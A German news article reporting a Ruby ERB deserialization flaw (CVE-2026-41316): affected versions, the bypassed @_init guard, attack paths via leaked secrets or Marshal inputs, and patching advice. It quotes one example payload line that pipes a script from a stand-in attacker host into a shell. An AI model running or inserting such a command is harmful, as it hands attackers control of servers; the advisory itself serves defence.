Entwicklung & Code

Kritische Lücke in Rubys Standardbibliothek ERB: Angreifer können Code ausführen


close notice

This article is also available in
English.

It was translated with technical assistance and editorially reviewed before publication.

Weiterlesen nach der Anzeige

Die unter CVE-2026-41316 (CERT-Bund: WID-SEC-2026-1187) registrierte Schwachstelle in Rubys Standard-Template-Bibliothek ERB hebelt den eingebauten Schutz gegen schädliche Deserialisierung aus. Besonders Rails-Anwendungen sind betroffen, die Daten einer Marshal-Serialisierung aus unsicheren Quellen verarbeiten. Mögliche Folge: Remote Code Execution.

Das Ruby-Team hat die Sicherheitslücke am 21. April 2026 veröffentlicht und gleichzeitig einen Fix bereitgestellt. Der Fehler umgeht einen in ERB fest eingebauten Schutzmechanismus gegen schädliche Deserialisierung. Über eine sogenannte Gadget-Chain können Angreifer die Lücke zu Remote Code Execution (RCE) auf dem Server ausnutzen. Entdeckt und gemeldet hat die Schwachstelle TristanInSec.

GitHub vergibt für die Lücke einen CVSS-3.1-Score von 8.1 (High), CERT-Bund stuft sie als kritisch ein. Der Unterschied spiegelt die jeweilige Bewertungslogik wider: CVSS berücksichtigt die erschwerende Komplexität für die Ausnutzung (Metrik AC:H), weil die Lücke zusätzliche Voraussetzungen aufseiten der Anwendung benötigt. CERT-Bund orientiert sich stärker am Schadenspotenzial im Erfolgsfall, also an der möglichen RCE-Wirkung.

Das GitHub Security Advisory enthält neben der technischen Beschreibung einen funktionierenden Proof-of-Concept, der die Ausnutzung mit wenigen Zeilen Ruby-Code demonstriert.

Verwundbar sind alle Versionen des erb-Gems bis einschließlich 6.0.3. Damit liefert faktisch jede aktuelle Rails-Installation eine verwundbare ERB-Version mit. Tatsächlich angreifbar ist eine Anwendung aber nur, wenn beide folgenden Bedingungen zutreffen:

  • Die Anwendung ruft an irgendeiner Stelle mit Marshal.load Daten auf, die ein Angreifer unter Kontrolle hat.
  • Zur Laufzeit ist neben ERB auch ActiveSupport geladen, was bei jeder Rails-Anwendung automatisch der Fall ist.

Weiterlesen nach der Anzeige

Typische Orte, an denen Marshal.load in einer Ruby- oder Rails-Anwendung überhaupt zum Einsatz kommt, sind Rails.cache mit dem Default-Serializer Marshal, Import-Endpunkte für Marshal-Dumps sowie Marshal-kodierte Session-Cookies älterer Rails-Versionen. Die Job-Queues Sidekiq und Resque serialisieren per JSON und sind hier unauffällig. Ein konkretes Risiko entsteht an diesen Stellen aber erst, wenn dort tatsächlich vom Angreifer kontrollierbare Daten ankommen können, etwa bei einem offen erreichbaren Cache, einem geleakten secret_key_base oder einem ungeschützten Import-Endpunkt.

Ein erfolgreicher Angriff beschert dem Täter vollständige Code-Ausführung im Kontext des Ruby-Prozesses. Typische Szenarien reichen vom Auslesen sensibler Daten über das Platzieren von Backdoors bis zur vollständigen Übernahme der Anwendung und lateraler Bewegung ins interne Netz.

Wer Marshaling nicht selbst aktiv einsetzt, kann sich auf Punkt 1 beschränken: Gem aktualisieren, fertig. Punkt 2 richtet sich an Entwickler, die Marshal bewusst einsetzen oder in einer Abhängigkeit vermuten.

  1. Gem aktualisieren: bundle update erb. Gepatchte Versionen sind 4.0.3.1, 4.0.4.1, 6.0.1.1 sowie 6.0.4. Das Update schließt die Lücke unabhängig von der verwendeten Ruby-Version.
  2. Marshal-Stellen prüfen: Alle Aufrufe von Marshal.load im eigenen Code und in Abhängigkeiten identifizieren. An jeder Stelle, wo die gelesenen Daten aus einer nicht vertrauenswürdigen Quelle stammen könnten, muss dieser Pfad unterbrochen werden, etwa durch strikte Herkunftsvalidierung oder durch Umstellung auf ein in der Bauart sicheres Format an genau dieser Schnittstelle.

ERB steht für „Embedded Ruby“ und ist Rubys Standard-Template-Engine. Die Bibliothek erlaubt es, Ruby-Code direkt in Textdateien einzubetten, vergleichbar mit PHP in HTML. Ruby ersetzt Platzhalter der Form <%= nutzer.name %> beim Rendern durch echte Werte, während <% ... %> Ruby-Code ohne Ausgabe ausführt. Ruby on Rails erzeugt mit ERB seine HTML-Views, aber auch YAML-Konfigurationen. E-Mails oder generierte Skripte basieren in vielen Ruby-Projekten auf ERB.

Weil Templates Code ausführen, gilt ERB seit jeher als sicherheitskritischer Codebereich: Wer die Template-Quelle kontrolliert, kontrolliert den Server.

Marshal ist Rubys eingebautes Binärformat für die Serialisierung von Objekten. Das braucht man überall dort, wo ein Ruby-Objekt den eigenen Prozess verlassen soll: um in einen Cache oder eine Datei geschrieben, an einen anderen Worker in einer Job-Queue übergeben oder über einen Prozess-Neustart hinweg aufbewahrt zu werden. Im Arbeitsspeicher ist ein Objekt eine Datenstruktur mit Verweisen, die außerhalb des Prozesses nicht existiert; als Byte-Sequenz wird daraus ein portabler Blob, den die Gegenseite wieder zurück in das ursprüngliche Objekt wandeln kann. Marshal.dump(obj) erzeugt diese Byte-Sequenz, Marshal.load(bytes) baut daraus das Objekt wieder zusammen. Das Konzept entspricht pickle in Python, serialize/unserialize in PHP oder ObjectInputStream in Java.

In Ruby- und Rails-Projekten taucht Marshal vorwiegend im Hintergrund auf: als Default-Serializer des Rails-Caches (Rails.cache), in Hintergrund-Job-Queues, in Session-Cookies älterer Rails-Versionen oder bei Interprozess-Kommunikation. Beim Rekonstruieren darf Marshal beliebige Klassen instanzieren und deren Callbacks auslösen. Deshalb gilt seit Jahren die Faustregel: Marshal.load niemals auf Daten anwenden, die aus nicht vertrauenswürdigen Quellen stammen.

Die Klasse von Angriffen, die genau diese Rekonstruktion für Remote Code Execution missbraucht, heißt Gadget-Chain. Im Ruby-Ökosystem sind solche Gadget-Chains seit rund einem Jahrzehnt dokumentiert; CVE-2026-41316 gilt laut GitHub-Advisory als sechste Generation funktionierender Marshal-Gadgets.

Genau diesen Angriffspfad wollte ERB eigentlich versperren. Der Konstruktor hinterlegt im Objekt ein internes Flag namens @_init, das auf ein sehr spezielles Marker-Objekt zeigt, die sogenannte Singleton-Klasse der ERB-Klasse. Vor der Auswertung eines Templates prüft ERB per Identitätsvergleich, ob @_init exakt auf dieses Marker-Objekt zeigt. Stimmt es, läuft die Auswertung. Stimmt es nicht, fliegt eine Exception mit der Meldung „not initialized“.

Der Clou liegt darin, dass Marshal dieses Marker-Objekt gar nicht serialisieren kann. Marshal identifiziert Klassen-Referenzen beim Speichern über ihren Konstantennamen und schlägt sie beim Laden unter diesem Namen wieder nach. Singleton-Klassen sind anonym, haben keinen Namen und existieren nur zur Laufzeit. Ein Versuch, ein frisches ERB-Objekt zu dumpen, scheitert sogar explizit mit TypeError: singleton can't be dumped. Für einen Angreifer heißt das: Er kann in einem selbst gebauten Marshal-Blob den Wert, den die Prüfung erwartet, nicht hinterlegen. Sein rekonstruiertes Objekt scheitert am Vergleich und darf keine Template-Auswertung auslösen. So weit, so gut gedacht.

Das Problem: Drei Methoden prüfen @_init nicht. def_method, def_module und def_class greifen direkt auf die Template-Quelle zu und führen sie aus, ohne den Guard zu konsultieren. Besonders def_module ist brisant, weil sie ohne Argumente aufrufbar ist und sich deshalb als letztes Glied einer Gadget-Chain eignet. Die eigentlich elegant konstruierte Schutzidee wird an drei vergessenen Stellen komplett umgangen.

Diese Lücke macht eine Anwendung nicht aus sich heraus angreifbar. Sie wird erst ausnutzbar, wenn an anderer Stelle bereits etwas schiefgelaufen ist. Voraussetzung ist immer, dass die Anwendung an irgendeiner Stelle Marshal.load auf Bytes anwendet, die ein Angreifer kontrolliert. Über ein normales Web-Formular allein lässt sich das nicht auslösen, denn Rails parst Formulareingaben nicht per Marshal. Der Angreifer braucht zusätzlich einen der folgenden Türöffner.

Der historisch häufigste Weg zu einer Marshal-RCE in Rails: Der secret_key_base der Anwendung ist bereits kompromittiert, etwa durch ein versehentlich öffentliches Git-Repo, einen ungeschützten Backup-Dump oder eine Error-Seite mit Umgebungsvariablen. Wer diesen Schlüssel besitzt, kann gültige Session-Cookies selbst signieren.

Hat eine ältere Rails-Installation zusätzlich Cookie-basierte Sessions mit Marshal-Serialisierung konfiguriert, erzeugt der Angreifer ein präpariertes Cookie, das bei der Deserialisierung eine Gadget-Chain auslöst und am Ende def_module auf einem ERB-Objekt aufruft. Dessen Template-Quelle enthält Ruby-Code des Angreifers, etwa system("curl angreifer.tld/shell.sh | sh"). Das Resultat: Remote Code Execution über einen normalen HTTP-Request, ohne Zugriff auf interne Systeme.

Dieser Pfad betrifft vor allem ältere Installationen. Rails legt für neu erstellte Anwendungen ab Version 4.1 (2014) standardmäßig JSON statt Marshal für Cookie-Sessions fest; vor 4.1 erstellte Anwendungen mussten für diesen Wechsel explizit migriert werden. Wer nicht explizit auf :marshal festgepinnt ist, ist hier nicht angreifbar.

Ein geleakter secret_key_base ist für sich bereits ein kritischer Sicherheitsvorfall. Er erlaubt auch ohne diese CVE das Fälschen von Sessions und das Entschlüsseln sensibler Cookie-Inhalte. Die ERB-Lücke ist in diesem Szenario nicht die Ursache des Schadens, sondern der Verstärker, der aus dem Secret-Leak direkt eine Server-Übernahme macht.

Manche Anwendungen akzeptieren Marshal-Dumps als Datei-Upload, etwa zum Importieren von Konfigurationen oder zum Wiederherstellen von Zuständen. Landet ein solcher Upload ohne Validierung in Marshal.load, liefert der Angreifer sein Payload direkt.

Unabhängig von dieser CVE ist ein solcher Endpunkt allerdings eine grundlegend schlechte Designentscheidung. Rubys eigene Dokumentation warnt seit Jahren ausdrücklich davor, Marshal.load auf Daten aus nicht vertrauenswürdigen Quellen anzuwenden. In jeder realen Rails-Anwendung existieren zahlreiche Marshal-Gadget-Chains, von denen CVE-2026-41316 nur eine unter vielen ist. Wer einen Marshal-Upload akzeptiert, war auch schon vor dieser Lücke per RCE angreifbar und bleibt es danach, solange der Endpunkt existiert. Ein ERB-Update schließt ein einzelnes Gadget, nicht die Klasse. Die einzig saubere Antwort ist nicht patchen, sondern den Marshal-Pfad entfernen und auf ein Format mit Schema-Validierung wechseln, etwa JSON.

Wer Schreibzugriff auf Redis, Memcached oder eine Marshal-nutzende Job-Queue erlangt, kann präparierte Blobs ablegen, die beim nächsten Lesen via Marshal.load zu RCE führen (Cache-Poisoning). Der Schreibzugriff setzt allerdings voraus, dass der Cache-Server offen im Netz erreichbar, mit einem anderen kompromittierten Dienst geteilt oder anderweitig bereits zugänglich ist. In der Praxis eher ein Post-Exploitation- als ein Einstiegs-Szenario.

Wer saubere Basishygiene betreibt (Secrets nicht leaken, keine Marshal-Uploads akzeptieren, Caches und Queues absichern), hat durch diese CVE allein kein verwertbares Einfallstor. Der Bug ist ein Verstärker für vorhandene Fehlkonfigurationen und geleakte Secrets, kein eigenständiger Fernzugriff. Patchen sollte man trotzdem zeitnah, denn der Bug vergrößert die Schadenwirkung fast jeder denkbaren Vorstufe.


(who)



Source link

Beliebt

Die mobile Version verlassen